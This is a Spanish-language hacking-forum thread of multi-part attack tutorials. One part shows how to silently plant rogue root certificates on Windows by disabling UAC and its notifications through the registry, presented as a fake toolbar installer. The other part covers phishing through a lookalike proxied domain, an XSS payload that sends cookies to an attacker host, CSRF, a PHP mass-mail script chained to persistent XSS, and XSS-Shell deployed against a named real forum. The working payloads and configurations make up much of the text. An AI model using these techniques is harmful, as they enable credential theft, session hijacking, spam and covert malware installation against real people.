      * Certutil necesita de “privilegios” si lo lanzamos en un Windows Vista y/o Windows 7, otro problema añadido… hay que desativar UAC (El control de cuentas de usuario) si queremos usar eso y que sea silencioso

      * Certmgr.exe no precisa de “elevación” pero en contrapartida, sólo podremos instalar los certificados para el usuario actual (CurrentUser) y no para todos (LocalMachine) y además…. Se nos informará que estamos “a punto” de instalar un nuevo certificado.[/list]

      De momento veremos como funcionan certmgr.exe, certmgr.msc (este viene de serie) y certutil.exe que también viene de serie.,

      Si no te quieres bajar la sdk completa para obtener certmgr.exe lo puedes descargar directamente (añadí también otro que nos permite crear certificados pero no lo usaremos) desde aquí:

      You are not allowed to view links. Register or Login

      La contraseña para descomprimir el archivo es El_Lider_DWFP

      Ahora vemos el vídeo

      Vídeo 22: Como instalar un certificado en IE por línea de comandos. Vista y Win7

      You are not allowed to view links. Register or Login

      Al usar versiones de Windows anteriores a Vista… ese “cartelito” no saldrá, sencillamente se instala “sin preguntas”, no hay UAC y además… podremos instalar con certmgr.exe en LocalMachine… para TODOS!!!!

      Y una cosita mas… en XP no viene “de serie” certutil… así que o lo instalamos o usamos cetmgr.exe de la SDK… al gusto, al final, todo vale.

      Curiosamente… si lo instalamos en CurrentUser nos pedirá confirmación mientras que si lo hacemos en localmachine, NO!!! Cosas de Windows…. La vida al revés.

      Vídeo 23: Como instalar un certificado en IE por línea de comandos. En XP

      You are not allowed to view links. Register or Login

      Como ya dijimos antes, certutil.exe precisa de “elevación” por tanto habría que poner  fuera de combate a UAC y luego reiniciar… demasiado para el cuerpo… no es que sea difícil, pero un poco “cante” si que es, no obstante por si alguno le interesa, La ruta del registro que tenemos que seguir es:

      Código: You are not allowed to view links. Register or Login
      HK_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System
      Y dentro de esta, hay (al menos) 4 claves importantes:

      ConsentPromptBehaviorAdmin y ConsentPromptBehaviorUser que son las responsables de que nos aparezca eso de que “si deseamos ejecutar tal programa…”

      EnableInstallerDetection Que determina si se ha de avisar o no ante la ejecución de un instalador…

      EnableLUA que es quien determina si tenemos activado o no el control de cuentas… ojo que si lo desactivamos (valor cero) nos pedirá que reiniciemos…

      Bueno, también hay otra que podríamos desactivar: PromptOnSecureDesktop pero esta es opcional… que activa o desactiva la seguridad del escritorio, es un valor que se le proporciona a UAC (y que a veces es mejor desactivarlo para no tener “efectos” extraños con la pantalla)

      Si hacemos un EnableLUA a cero, además de reiniciar para que tomen efectos los cambios y si no cambiamos “otra” clave mas, nos aparecerán los mensajes del centro de seguridad diciendo que el control de cuentas de usuario está desactivado y bla, bla, bla…

      Así que también deberíamos desactivar esta otra:

      Código: You are not allowed to view links. Register or Login
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
      Y añadir (en el caso de que no exista) UACDisableNotify con valor 1

      De este modo, tras el reinicio con UAC desactivado no informará de ello

      Lo vemos para hacernos una “idea” de cómo funcionaría “nuestro malware”

      Vídeo 24: Modificar el registro para que UAC “se esconda”

      You are not allowed to view links. Register or Login

      --- MODIFICACION -----

      Vídeo 24b: Ejecutar programas con UAC Activado silenciosamente....

      Vemos que tan sólo modificando los consentimientos de usuario y admin en el registro (valor a cero) aún teniendo UAC activado el programa se ejecuta sin intervención del usuario

      You are not allowed to view links. Register or Login

      --- FIN DE MODIFICACION ----

      Y me pregunto… y una vez instalado el certificado… con UAC, sin UAC o como sea…. ¿dónde lo guarda Windows?

      Jaaa. Pues claro… en el registro!!!

      Los certificados en el registro se almacenan en (para el usuario actual):

      Código: You are not allowed to view links. Register or Login
      HK_CurrentUser\Software\Microsoft\SystemCertificates

      HK_CurrentUser\Software\Policies\Microsoft\SystemCertificates

      Entonces, podríamos ser mas “sibilinos” si en un equipo “aparte” nos instalamos el certificado y guardamos en un archivito .reg esas claves para “otro”?

      Pues “a medias” porque Existe una entrada que se llama ProtectedRoots en la que sólo el grupo SvcCrypt tiene permisos de escritura… eso lo podemos solucionar con el comando regini.exe agregando permisos a “todos” de control total, así:

      Nos creamos un archivo de texto con este contenido:

      Código: You are not allowed to view links. Register or Login
      HKEY_Current_User\Software\Microsoft\SystemCertificates\Root\ProtectedRoots [7]
      El 7 indica control total a TODOS

      (Sin consultási la Web de Microsoft acerca de regini veréis que dice que el archivo de configuración debe ser Registry\User\....., NI CASO, ESTA MAL!!! es como puse en el code anterior)

      Ese archivo lo guardamos con el nombre que mas rabia nos dé… por ejemplo: passcer.txt

      Y luego lanzamos:
      Código: You are not allowed to view links. Register or Login
      regini passcer.txt
      Entones, ya tendremos permisos para escribir alli…

      Y si luego en nuestro “paquete” en lugar de hacer que se instale le añadimos al registro las claves que exportamos…. Y depaso desactivamos uac, reiniciamos, etc… pues todo como debe ser… en el ejemplo del vídeo que viene a continuación omito la parte de UAC, del empaquetado y de la descarga de “la barra de Facebook” falseada… eso ya lo hemos visto anteriormente…

      Suponemos que nuestra vícitma decide descargarse la barra de Facebook para Internet Explorer, configuramos nuestro apache con reverse Proxy + mod rewrite + SNI + dnslogger (como hicimos en el vídeo 15 con Acrobat y/o IE9)… tan sólo vamos a ver la ejecución del asunto:

      Vídeo 25. Jugando con el registro de Windows y los certificados.

      You are not allowed to view links. Register or Login

      Con firefox es todo mas sencillo, muucho mas sencillo… porque los certificados no se añaden al registro de Windows, se van a:

      Código: You are not allowed to view links. Register or Login
      %APPDATA%\Mozilla\Firefox\Profiles\nom_perfil.default\cert_override.txt
      El nombre del perfil lo podemos encontrar en el archivo profiles.ini también en esta ruta…

      Código: You are not allowed to view links. Register or Login
      %APPDATA%\Mozilla\Firefox\Profiles\profiles.ini
      No costaría mucho crear un “bicho” que leyera ese archivo y coloque el/los certificados dentro de esa ruta, en el perfil concreto (o en todos) y escribiese dicho fichero.

      Yo creo que ya está bien… hemos visto (y espero que aprendido) muchas cosas acerca del manejo de los certificados… ahora a esperar nuevas “partes” que dicho sea de paso, será el making-of para que dispongáis de todo este “tinglado” en vuestras máquinas…

      Saludos y FIN de Parte IV

      PD: Los nuevos vídeos (en formato mov, esta vez está "colgados" en youtube) los podéis descargar en:

      You are not allowed to view links. Register or Login

      o si queréis descargaros TODOS los de esta parte (incluidos los nuevos de este post, en formato swf)

      You are not allowed to view links. Register or Login

      Ahora sí.... terminada ;)

      Autor: Vic_Thor
      Fuente: You are not allowed to view links. Register or Login
      « Última modificación: Julio 28, 2011, 05:06:47 am por soez »

      Desconectado soez

      • Yo vivo en CPH
      • ***
      • Mensajes: 1283
      • Sexo: Masculino
        • Ver Perfil
      Re:Y tras el router... Qué? por Vic_Thor
      « Respuesta #5 en: Julio 27, 2011, 06:35:37 pm »
      Antes de comenzar quiero hacer una DEDICATORIA muy, muy especial…

      “A mi hermano Javier que murió hace cuatro días después de luchar contra un cáncer.

      Durante julio y agosto esta “saga” de Y tras el Router Qué? Me ayudó a pasar las noches de vigilia, los días de sufrimientos y esperanzas.

      Soy yo quien agradece a estos foros por encontrar un lugar en el que pude evadirme de la realidad que me acompañó en estos últimos meses, la lucha que tenía Javier contra “todo” venía de mucho mas atrás, pero fueron estos últimos meses los que mas encontró a “su gente” y con nosotros,  también estabais todos vosotros sin saberlo.

      Te fuiste de mi lado un día… mientras escribía esta quinta parte, la termino para ti. El dolor que me has dejado, duele… duele mucho, pero no es comparable con la alegría de haber podido disfrutar de tu compañía, de haber estado a tu lado.

      Javi, esto es lo que hacía cuando me preguntabas… por ello te dedico estas líneas para que aquellos que lean estos foros, estos últimos mensajes mios, te recuerden sin conocerte, GRACIAS a ti… sin ti esto quizás no hubiese salido de la misma forma.”


      Y otra cosa, la última: Sé que más de uno de vosotros estará tentado a enviarme sus condolencias, por mensaje o directamente en este hilo… no lo hagáis, os lo pido por favor.

      Vale… después de unas cuantas lágrimas y varios suspiros… empecemos:

      Un resumen de lo que viene, primero de lo que ya NO es:

      Código: You are not allowed to view links. Register or Login
      * No tenemos “control” directo del router y/o red víctima.
      * No podemos cambiar configuración alguna del equipo, router o red víctima.
      * No conocemos nada acerca de la configuración de la red víctima, sólo su ip pública.

      Ahora lo que SI conocemos:
         
         
      Código: You are not allowed to view links. Register or Login
      * Conocemos que es “asiduo” de algún foro/blog/red social (en nuestros ejemplos serán Wadalbertia, Yahoo mail, Facebook y Footbag)

      * Conocemos su nick, cuenta de correo, nombre de usuario o similar.

      Y por último lo que intentaremos y técnicas a utilizar:

      Código: You are not allowed to view links. Register or Login
      * Intentaremos hacernos pasar por esos servidores/servicios con el objeto de:

      a.- Robar sus contraseñas
      b.- Suplantar la sesión activa
      c.- Controlar el navegador del cliente víctima

         
      Código: You are not allowed to view links. Register or Login
      * Usaremos técnicas de:

      1.- ProxyPass y ProxyPassReverse con apache
      2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes
      3.- Cross Site Request Forgery (CSRF)
      4.- Control del navegador y ejecución de comandos con XSS-Shell
      5.- Secuestro de sesión http mediante túneles XSS
      6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS
      Obviamente hay muchas otras técnicas y pruebas que podemos realizar, pero elegí estas porque (aunque alguna tiene la “solera” de 16 años, siguen activas y vigentes) son como más novedosas, atrevidas, desconocidas por muchos, poco “comentadas” en nuestros foros y.. en definitiva, mas arriesgadas a la vez que efectivas, de todas ellas seguro que encontraréis suficiente información en la web, pero seguro que “pocas” o ninguna con el detalle y ejecución “hasta el final” para conseguir el objetivo, no es por vanagloria personal, pero así es.

      Todo no es “gratuito”, para alguna de ellas precisaremos de algunos recursos “extra” como por ejemplo algún dominio REAL y registrado por el atacante… y claro… este pequeño texto que seguro a mas de uno le acompañará muchas horas de estudio y trabajo… por todo ello, no es del todo “gratuito”.

      También nos vamos a alejar un tanto de “los grandes” y nos centraremos en pequeñas redes y/o usuarios domésticos, así será mas asequible para todo el mundo.

      Como introducción a lo que nos ocupa, creo que ya está bien… ahora manos a la obra.

      1.- Robo de contraseñas, ingeniería social y algo de fortuna…

      Hasta ahora hemos usado apache con mod_proxy para “interponer” un Proxy entre el atacante y la víctima, lo hacíamos con efectividad porque ya habíamos conseguido que nuestros “clientes” usaran como servidor DNS primario la propia máquina del atacante..

      Ahora, no será así… ya no disfrutamos de esa enorme ventaja, en su lugar tendremos que acudir al “engaño” y hacernos pasar por quien realmente no somos.

      Tenemos que intentar “a toda costa” que los clientes  visiten nuestra web y/o incitarles a que sigan un enlace con destino a una web del atacante… o directamente hacia la máquina del atacante.

      Digamos que es como un “ataque reactivo” la víctima acude y nosotros respondemos con “malas formas”.

      En este primer ejemplo “asumimos” que el atacante tiene registrados y dispone de control total de “dominios” similares a los que pretende falsificar, en nuestro ejemplo wadalbertia.com

      wadalbertia.com (dominio sin registrar todavía y que suplantará al verdadero que son nuestros foros de wadalbertia.org)

      Como wadalbertia.com está (suponemos) en poder del atacante, éste interpondrá el Proxy y capturará contraseñas de acceso.

      Para este ejemplo y todos los que se sucederán (tal y como dijimos antes) sabemos la dirección mail de la vícitma y obviamente la del atacante… en todos los ejemplos usaremos:
        You are not allowed to view links. Register or Login como cuenta de la vícitima
         You are not allowed to view links. Register or Login como cuenta de correo del atacante.[/list]

        Estas cuentas han sido activadas expresamente para todos nuestros ejercicios, y como has de suponer, tras la publicación de este texto están suspendidas o eliminadas.
         
        Bien, pues suponiendo que el dominio wadalbertia.com esté en poder del atacante y que en el DNS se haya creado una entrada hacia You are not allowed to view links. Register or Login sólo tenemos que configurar nuestro servidor web con el virtualhost correspondiente y proxypass

        Código: You are not allowed to view links. Register or Login
        NameVirtualHost *:80
        Listen 0.0.0.0:80
        <VirtualHost  *:80>
            ServerName http://www.wadalbertia.com
        ServerAlias http://www.wadalbertia.com
        ProxyPreserveHost off
        ProxyRequests off
        ProxyVia off
        <Proxy *>
                Order deny,allow
                llow from all
            </Proxy>
        ProxyPass / http://www.wadalbertia.org/
            ProxyPassReverse / http://www.wadalbertia.org/
        <Location />
        Order allow,deny
        Allow from all
            </Location>
        </VirtualHost>

        Y para que la victima acuda.. podemos enviarle un mail

        Video 01: Suplantación con ProxyPass de Wadalbertia.com

        You are not allowed to view links. Register or Login

        Y si fuese https???

        Por ejemplo con You are not allowed to view links. Register or Login y con You are not allowed to view links. Register or Login

        Mas difícil… la solución vendrá “tras vuestros avances” de momento no doy pistas, lo probáis que con todo lo que ya hemos aprendido hay para un rato.

        2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes

        Bien, antes de empezar con el asunto tendríamos que hablar de XSS y de lo XSS persistentes.

        De Cross Site Scripting (XSS) no voy a decir nada nuevo, ya sabemos de lo que trata y que “en condiciones normales” actúa contra el navegador del cliente y que “a veces” se usa para robo de cookies y otras fugas de información, habitualmente con código javascript.

        Consiste en “obligar” a la víctima seguir un enlace (mediante un clic directo, mediante imágenes, mediante frames, mediante flash, mediante descargas pdf, videos, etc.,,) y ese enlace “conecta” con el servidor web y/o aplicación afectada.

        Una vez que eso ya se consiguió se puede redirigir al cliente, presentarle información “errónea”, enviar información privada a un tercero y todo lo que ya conocemos.

        Los XSS “habituales” suelen ser url’s con “cosas raras” (en ocasiones sumamente raras), a veces muy largas, casi siempre con caracteres y o contenidos en los equivalentes hexadecimales y no en texto legible.

        Un ejemplo: (de un banco… para que veamos que no todo el monte es orégano)

        You are not allowed to view links. Register or Login

        Código: You are not allowed to view links. Register or Login
        http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO
        Otro ejemplo… este “imaginario”

        Código: You are not allowed to view links. Register or Login
        http://www.ejemplo.com/phpBB2/privmsg.php?mode=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%e2%80%99%68%74%74%70%3a%2f%2f%77%77%77%2e%61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%6f%62%61%2e%70%68%70%3d%e2%80%99%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%65%3b%3c%73%63%72%69%70%74%3e
        que “en texto claro es esto”:

        Código: You are not allowed to view links. Register or Login
        http://www.ejemplo.com/phpBB2/privmsg.php?mode=”><script>alert(document.cookie);document.location.href=’http://www.atacante.com/roba.php=’+document.cookiee;<script>
        Tanto este último como el anterior son “sospechosos” y el que lo vea pues como que no… imagina postear eso en un blog, en un foro o recibir un correo “invitándote” a pinchar en ese enlace…

        Para “disimular” podemos usar el servicio de minilink, por ejemplo esto mismo es un enlace hacia el segundo: You are not allowed to view links. Register or Login

        De este tipo hay muchos por la red, como tiny.cc… esto sería lo mismo para el ejemplo del banco: You are not allowed to view links. Register or Login

        Bueno, dejando a parte la habilidad con el que un XSS nos puede afectar y la forma en que lo presentamos, tenemos que ver qué es eso del XSS persistente.

        Como acabamos de ver, si un visitante pincha en el enlace del banco que pusimos o mediante otros métodos obligamos a que se “lo trague” (una imagen o iframe oculto) pues aparecerá la ventanita esa de que Diosz Existe!!!.

        Pero para ello tuvimos que “inyectar” el código XSS en el enlace real… pues bien, un XSS Persistente es aquel que de una forma u otra una vez “inyectado” PERMANECE y el visitante que accede a la web (sin añadir el XSS) se ve afectado.

        Un ejemplo “muy básico”: You are not allowed to view links. Register or Login

        Esta “web” admite un parámetro que se llama param=lo-que-sea

        De tal modo que lo-que-sea es el texto que se “posteará” en ese “blog” y se presupone que quedará almacenado por algún lugar….

        Es decir, si ponemos:
        Código: You are not allowed to view links. Register or Login
        http://vmthor.site50.net/miblog2/pagina.php?param=Wadalbertia
        La palabra “Wadalbertia” se escribirá en pantalla como resultado, esto:

        Código: You are not allowed to view links. Register or Login
        Contenido de archivo.txt = Wadalbertia
        El filtro de entrada sustituye algún que otro carácter.. por ejemplo, si pinemos

        Código: You are not allowed to view links. Register or Login
        http://vmthor.site50.net/miblog2/pagina.php?param=”Wadalbertia”

        aparecerá esto otro:

        Código: You are not allowed to view links. Register or Login
        Contenido de archivo.txt = \"Wadalbertia\"
        Como vemos, el filtro sustituye las comillas por \” como medida “disuasoria”

        Qué pasaría si ponemos:
        Código: You are not allowed to view links. Register or Login
        ?param=<script>alert(“Dios Existe!!!”)</script>
        Pues si lo dejase pasar el filtro, todo el que visualizase es “post” sufriría el XSS persistente, no funcionará porque tenemos que usar alguna técnica de “filter evasion” , una de las más conocidas y funcionales es utilizar la función JavaScript String.fromCharCode.

        A esta función le deben seguir los valores en decimal equivalentes a los caracteres que deseasemos, bueno en el vídeo lo veremos mejor.

        Una web “cómoda” para traducirlo es:

        You are not allowed to view links. Register or Login

        Veamos en el vídeo como somos (incapaces) y luego capaces de inyectar ese XSS.

        Vídeo 02: XSS Persistente de forma simplificada.

        You are not allowed to view links. Register or Login

        Te invito que pruebes esto mismo con:

        You are not allowed to view links. Register or Login

        Así te entretienes un ratito… ;)

        Ahora tenemos que “ver” otro concepto, el CSRF.

        También encontraréis sobrada información de ello por Internet, sólo apuntaré que CSRF no es otra cosa que “la confianza” que tienen las aplicaciones, ventanas o pestañas del navegador en otras que estaban abiertas antes que la nueva.

        De todos es conocido que cuando navegamos por Internet y pinchamos en un enlace, en ocasiones, se nos abre una nueva ventana del explorador o una nueva pestaña… otras veces el contenido de ese enlace se muestra en la ventana activa… es lo normal.

        Y qué pasa si ese enlace pretende (por ejemplo) cerrar la sesión que teníamos activa en otra ventana… pues que como unas confían en otras… se cierra.

        Vemos un vídeo de cómo un usuario de yahoo mail pincha en un enlace que le llega por correo y cuando “regresa” a ver/leer mas correos se encuentra que su sesión se cerró.

        El atacante envía un correo a You are not allowed to view links. Register or Login  y cuando éste lee el correo y pincha en el enlace…

        El código del enlace “maligno” es:

        Código: You are not allowed to view links. Register or Login
        <html>
        <object width="425" height="344">
        <param name="movie" value="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"></param>
        <param name="allowFullScreen" value="true"></param>
        <param name="allowscriptaccess" value="always"></param>
        <embed src="http://www.youtube.com/v/h4y3cfJESzw?hl=es&fs=1"
        type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
        </embed>
        </object>
        <iframe src="https://login.yahoo.com/config/login?logout=1" width="0" height="0"></iframe>
        </html>

        Vídeo 03: CRSF ejemplo con login yahoo.

        You are not allowed to view links. Register or Login

        Lo que acabamos de ver no deja de ser “molesto” y nada mas… pero… y si gracias (o por desgracia) a esta funcionalidad el usuario recibe un correo, lo abre, pincha en el enlace (o mediante una imagen “mal intencionada”), y tras leer el correo que le llegó sin quererlo ni beberlo… envía 500 correos a una lista de distribución.

        Y si ese correo se envía a cientos de usuarios… pues serán cientos de usuarios los que enviarán a su vez 500 correos a esa lista de distribución…

        Pues eso, también es molesto… molesto para los que le lleguen 385 (es un ejemplo) correos de lo mismo y por diferentes cuentas… también es molesto para los servidores de correo, molesto para el que lo envía, molesto para todos menos para el que lo “ideó” que a lo mejor saca partido de ello vendiendo “humo”.

        Por si fuese poco… si esto lo unimos a un XSS de tipo persistente, pues “to quisqui” que visite una web afectada por ese fallo estará enviando 500 correos a otros tantos destinos… y todo ello por cada visita… si ese sitio tiene 1000 visitantes diarios y si se “configura” el XSS persistente para enviar 300 correos a 500 direcciones destino… pues multiplicad… 300 x 500 x 1000 = 150.000.000 correos diarios que se come el servidor y los destinatarios….

        De momento nos “conformamos” con preparar una web mediante un script php que envíe un correo a nosotros mismos… vamos a enviarlo del atacante para el atacante, luego ya jugaremos con el resto.

        Usaremos Live http Headers en firefox para capturar los envíos y las respuestas.

        El script es este:

        Código: You are not allowed to view links. Register or Login
        $service_port = getservbyname('www', 'tcp');
        $address = gethostbyname('de.mc249.mail.yahoo.com');
        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if ($socket === false) {
            echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
        } else {
            echo "OK.\n";
        }
        echo "Intentando conectar con... '$address' on port '$service_port'...";
        $result = socket_connect($socket, $address, $service_port);
        if ($result === false) {
            echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
        } else {
            echo "OK.\n<br><br>";
        }
        $in = 'AQUI SE PEGAN LAS CABECERAS DEL MAIL!!!!!';

        // ESTA LINEA ES IMPORTANTE!!!

        $in .= "Connection: Close\r\n\r\n";

        echo "Enviando peticiones HTTP...";
        socket_write($socket, $in, strlen($in));
        echo "OK.\n<br><br>";
        echo "Cerrando Sockets...";
        socket_close($socket);
        echo "OK.\n\n<br><br>";
        echo "<h3>ENVIADO!!!!</h3>\n\n<br><br>";
        ?>

        Oberva la línea que dice “Aquí se pegan las CABECERAS DEL MAIL”, habrá que hacer eso… copiar alli el post que capturemos con Live Headers y mira bien el vídeo para que lo hagas “tal cual”.

        Vídeo 04: Probando un correo de yahoo.

        You are not allowed to view links. Register or Login

        Vale, ahora que ya hemos comprobado que el correo se envía correctamente… vamos a “toquetear” un poco para que:

          * Se Envíe como “Dr. Wadalberto Informa a sus súbditos.”
             * Se envíe a la víctima y no al atacante
             * Eliminamos todas la salida de información del script
             * Se envíen 10 correos cuando cualquiera visite la web

        Las modificaciones de cabeceras y destinatarios lo veremos en el vídeo. Para enviar 10 correos en lugar de uno sólo, usaremos un bucle dentro del script php, quedaría así:
         
        Código: You are not allowed to view links. Register or Login
        <?php
        $service_port 
        getservbyname('www''tcp');
        $address gethostbyname('de.mc249.mail.yahoo.com');
        $socket socket_create(AF_INETSOCK_STREAMSOL_TCP);
        $result socket_connect($socket$address$service_port);
        $in 'CABECERAS DEL MAIL';

        $in .= "Connection: Close\r\n\r\n"
        $i=0;

        // ENVIAR 10 CORREOS!!!
        while ($i<10) {
        socket_write($socket$instrlen($in));
        sleep(1);
        $i++;
        }
        socket_close($socket);
        ?>

        Recuerda que hay que pegar el contenido en la variable $in, veámoslo:

        Vídeo 05: Modificamos el correo hacia el destino.

        You are not allowed to view links. Register or Login

        Eureka!!! La víctima recibe 10 mails… ahora la “malicia”

        Recordáis el ejemplo del XSS persistente??

        Bueno, pues imaginad que en lugar de esa web “cutre” y que no visita ni el “pepe” fuese… youtube o facebook… y que encontrásemos ese bug… resultaría que por cada visita de cada usuario (miles y miles) al inyectar el código persistente… miles y miles multiplicado por 10 correos…

        Lo vemos con la web de ejemplo, como es vulnerable al xss presistente, el atacante inyectó este código:

        Código: You are not allowed to view links. Register or Login
        <html><iframe src="http://vmthor.site50.net/mail/embudo.php" width=0 height=0 </iframe></html>
        El resultado es que todo el que visite You are not allowed to view links. Register or Login

        Si saberlo y por cada visita… se envían 10 correos a la víctima.

        Veamos cómo es… vamos a visitar esa web… la vícitma debería recibir 10 correos…

        Vídeo 06: Unión del spam con un XSS persistente.

        You are not allowed to view links. Register or Login

        Perfecto… Tenemos una web vulnerable a un XSS Persistente… un “malvado spammer” inyectó un código malicioso que “apunta” a otra web que a su vez carga otra página “oculta” y que envía 10 correos por cada visita. Punto final.

        Lógicamente el atacante usará una cuenta de correo “robada” (no necesita usuario ni contraseña…basta con robar las cookies de una posible víctima) o también puede usar una cuenta de correo para ese ataque y luego darla de baja pasado un tiempo… en fin, no es mas que un ejemplo “práctico” y “nefasto” de lo que se puede hacer con un XSS persistente…

        Un ejemplo real que causó “estragos” por Facebook, lo corrigieron hace muy poquito, pero os dejo un mirror para que lo probéis:

        You are not allowed to view links. Register or Login

        Era persistente… y ufff… sin comentarios.


        4.- Control del navegador y ejecución de comandos con XSS-Shell

        De esto hubo un  post en nuestros foros… joer… no me digáis que nadie lo llevó a la práctica... seguro que sí..

        You are not allowed to view links. Register or Login

        Bien, pues vamos a un caso real… para ello me busqué varios foros vulnerables… para hacerlo “sencillo” elegí un phphBB2 de una versión muyyyy antigua, pero nada mas que por comodidad… luego veremos otros mas modernos, mejor dicho… una tienda virtual con lo que la cosa “se agrava” porque podemos comprar en nombre de otro.

        Necesitamos un hosting que admita asp para “guardar” la XSS Shell para poder manejar a las vícitmas y debe soportar access como base de datos, os recomiendo jarby y/o 7host que funcionan ok.

        Primero nos descargamos Xss-shell (incluye xss-tunnel que lo usaremos mas tarde) desde:

        You are not allowed to view links. Register or Login

        También viene con un “pdf” que explica mas detalladamente que lo haré yo el funcionamiento… lo que no “incluye” es la configuración “a medida”

        Una vez descargado subimos al Server el contenido de la carpeta XSSShell - v0.6.2 en algún directorio que hubiésemos creado.

        Los archivos que tenemos que “tocar” son:

          xssshell.asp que está en la carpeta principal de la “aplicación”
          db.asp que está dentro de la carpeta /admin.[/list]

          Xss-shell es una demostración de lo peligroso que pueden llegar a ser los ataques Cross Site Scripting, enseguidita lo vemos.

          Para saber “donde” debemos colocar la base de datos nos creamos un sencillo script en asp que pregunte al servidor del hosting cual es la unidad y ruta donde almacenar la base de datos, el script es este (lo llamé p.asp)

          Código: You are not allowed to view links. Register or Login
          <%
          Response.Write Server.MapPath(".")
          %>

          Este archivo llamado p.asp lo subimos tambien al hosting.

          Lo vamos a ver todo seguido en un video

          Vídeo 07: Instalar y configurar XSS-Shell. Path de la base de datos.

          You are not allowed to view links. Register or Login

          Bien, acabamos de descubrir que la ruta de instalación de nuestra base de datos debe ser: E:\user1\verolulu\XSS

          Luego borramos ese script “por si las moscas” y así nadie sabe la ubicación real de la BBDD.

          Ahora lo que tenemos que hacer es modificar el script db.asp de la carpeta admin en xssshell.

          Concretamente debemos cambiar el path de la base de datos por el que obtuvimos antes y la contraseña “por defecto” que es w00t. Los encontraréis en las líneas 23 y 124 del script db.asp.

          Vídeo 08. Configurar /admin./db.asp  de XSS-Shell

          You are not allowed to view links. Register or Login

          Ahora probamos que nos podemos conectar con el script xssshell…

          Vídeo 09: Comprobar que nos conectamos a Xssshell

          You are not allowed to view links. Register or Login

          Todo va estupendamente… ahora tenemos que configurar el script xssshell.asp pero antes… como no vamos a usar los ejemplos que vienen con la aplicación, nos buscamos una web vulnerable… como dije, cualquiera que presente un bug XSS nos sirve, probemos con footbag… antes de ver la configuración de xssshell.asp vamos a ver el bug de estos foros (son muy antiguos, pero nos servirán muy bien como ejemplo)

          Ya me registré en estos foros hace mucho tiempo (precisamente para probar esto y explicarlo a mis alumnos…) el usuario es Veronicasinmas, el nick es viclulu y la contraseña… esa no os la digo… aunque tal y como está eso… casi mejor sería decirla :P

          usaremos un XSS de las faq de phpbb2, este es:

          Código: You are not allowed to view links. Register or Login
          http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>
          Código: You are not allowed to view links. Register or Login
          http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(“Dios Existe!!!”)</script>
          De momento no es necesario registrarse… solo probar…

          Video 10: Buscando foros….

          You are not allowed to view links. Register or Login

          Ok. Tenemos un bonito XSS en ese foro…  ahora lo tenemos que “enlazar” con el script xssshell.asp, allá sobre la línea 72 la variable del Server debe apuntar a: You are not allowed to view links. Register or Login

          Que es donde tenemos hospedado a xsshell

          Vídeo 11: Configurar xssshell.asp

          You are not allowed to view links. Register or Login

          Bien ya lo tenemos todo configurado… la ventaja de hacerlo así es que todo lo que ya hemos configurado nos servirá para CUALQUIER web vulnerable….

          Ahora… ¿Cómo “caerá” la vícitma??

          Pues tendremos que “incitarle” a que visite otra web, esto en unos foros como los nuestros está chupado puesto que es normal, común y lógico que los usuarios enlacen a otros sitios de interés… también podemos usar correos, mensajes privados… en fin lo que se nos ocurra.

          ¿Y qué ha de contener ese “nueva web”?

          Pues además de unos bonitos contenidos, interesantes…  debe “llamar” a xsshell junto con el bug de XSS.

          Es decir… si recuerdas el bug del XSS era mas o menos así:

          Código: You are not allowed to view links. Register or Login
          http://www.footbag.org/forum/faq.php?faq[0][0]=<script>alert(DiosExiste!!!)</script>
          Pues sencillamente en lugar de el alert… ponemos una llamada hacia nuestro xssshell. Por ejemplo esto:

          Código: You are not allowed to view links. Register or Login
          http://www.footbag.org/forum/faq.php?faq[0][0]= <script src="http://free.7host05.com/verolulu/XSS/xssshell.asp"></script>
          Obviamente hay pocas esperanzas que el/la víctima piche en semejante cosa como esa… podriamos usar un minilink, si… es una opción… pero es como mas elegante esto:

          Código: You are not allowed to view links. Register or Login
          <html>
          <object width="960" height="745">
          <param name="movie" value="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES"></param>
          <param name="allowFullScreen" value="true"></param>
          <param name="allowscriptaccess" value="always"></param>
          <embed src="http://www.youtube.com/v/pNtrQnbO9yM?fs=1&amp;hl=es_ES"
          type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="300">
          </embed>
          </object>

          <iframe src="http://www.footbag.org/forum/faq.php?faq[0][0]=<script src='http://free.7host05.com/verolulu/XSS/xssshell.asp'></script>" width=0 height=0 </iframe>
          </html>

          Esto lo guardamos (por ejemplo con el nombre videofootbag.html y lo subimos a cualquer otro hosting (o al mismo de 7host pero no es necesario que sea el mismo) y en los foros de footbag.org posteamos un link diciendo que menudo peazo vídeo de footbag que hemos encontrado… y punto pelota.

          Vemos en el proximo video esto mismo…
             
          Vídeo 12: Preparando la web maliciosa

          You are not allowed to view links. Register or Login

          Lo único que tenemos que hacer es postear en ese foro algo que incluya este enlace:

          Código: You are not allowed to view links. Register or Login
          http://vmthor.site50.net/footbag/videofootbag.html
          Y todo el que pinche allí… pues se conectará con nuestra shell alojada en 7host y … bueno mejor lo vemos….

          Los pasos son:
            1- El atacante accede a el panel de admin. de la shell y espera a que las victimas se vayan conectado

            2- La víctima lee el post del foro vulnerable y pincha en el enlace “ a ver que hay”

            3- Sin saberlo se conecta con xsshell

            4- Elige una y prueba los comandos

          Vídeo 13: Finalizando el ataque XSS-Shell

          You are not allowed to view links. Register or Login

